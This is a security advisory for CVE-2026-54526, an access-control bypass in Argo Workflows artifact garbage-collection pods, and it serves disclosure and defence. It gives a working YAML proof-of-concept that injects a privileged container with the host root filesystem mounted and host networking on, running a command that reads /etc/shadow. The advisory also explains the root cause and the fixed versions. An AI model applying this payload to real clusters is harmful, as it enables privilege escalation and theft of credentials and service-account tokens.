CVE-2026-54526: Argo Workflows ArtifactGC.PodSpecPatch Allow-List Bypass
A low-privileged user can inject an arbitrary Kubernetes pod spec patch into the artifact garbage-collection pod in Argo Workflows, completely defeating the Strict/Secure template-referencing…

The problem
Argo Workflows 4.0.0-4.0.5 (and <3.7.15) enforce Strict/Secure mode via an allow-list in workflow/util/merge.go. That allow-list passes the entire ArtifactGC struct without inspecting its sub-fields.
The nested WorkflowLevelArtifactGC.PodSpecPatch field flows unmodified into util.ApplyPodSpecPatch on the artifact-GC pod. This is the exact same strategic-merge-patch sink that CVE-2026-31892 closed for WorkflowSpec.PodSpecPatch, left reachable one level down through the allow-listed parent field.
Any workflow that declares output artifacts (the normal Argo use case) gives a submitter a path to run an attacker-chosen image with privileged: true, mount hostPath: /, enable hostNetwork: true, and exfiltrate the pod service-account token.
Proof of concept
A working proof-of-concept for CVE-2026-54526 in github.com/argoproj/argo-workflows/v4, with the exact payload below.
# Controller config (workflowRestrictions.templateReferencing: Strict)
# Prerequisite: WorkflowTemplate named 'safe-template' with at least one output artifact
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: safe-template
spec:
entrypoint: main
templates:
- name: main
container:
image: argoexec:latest
command: [echo, hello]
outputs:
artifacts:
- name: artifact
path: /tmp/artifact
---
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: bypass-
spec:
workflowTemplateRef:
name: safe-template
artifactGC:
strategy: OnWorkflowCompletion
podSpecPatch: |
containers:
- name: main
image: attacker/evil:latest
command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
securityContext:
privileged: true
runAsUser: 0
allowPrivilegeEscalation: true
hostNetwork: true
volumes:
- name: hostroot
hostPath:
path: /The root cause is that ValidateUserOverrides uses reflection over WorkflowSpec top-level fields only. Because ArtifactGC appears in allowedUserOverrideFields, the entire struct passes unchecked, including its PodSpecPatch string.
That string is read back in artifact_gc.go:getArtifactGCPodInfo and fed to util.ApplyPodSpecPatch, which is a raw strategicpatch.StrategicMergePatch over the full apiv1.PodSpec with no field-level restrictions. The artifact-GC pod is built with AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.
The CWE is Improper Access Control (CWE-284): a security boundary (Strict/Secure mode) is bypassed because the enforcement logic does not recurse into an allow-listed composite field.
The fix
Upgrade to Argo Workflows v4.0.6 (or v3.7.15 for the v3 branch). The patch adds explicit rejection of ArtifactGC.PodSpecPatch, ArtifactGC.ServiceAccountName, and ArtifactGC.PodMetadata inside ValidateUserOverrides, and strips those sub-fields in SanitizeUserWorkflowSpec while leaving the benign Strategy and ForceFinalizerRemoval fields intact.
Commits: 277e9cef (v4) and 358cc396 (v3).
Related research
- critical · 9.1CVE-2026-64863CVE-2026-64863: goshs WebDAV MOVE Bypasses --no-delete
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- critical · 9.8CVE-2026-20896CVE-2026-20896: Gitea Docker Image Authentication Bypass via Spoofed X-WEBAUTH-USER Header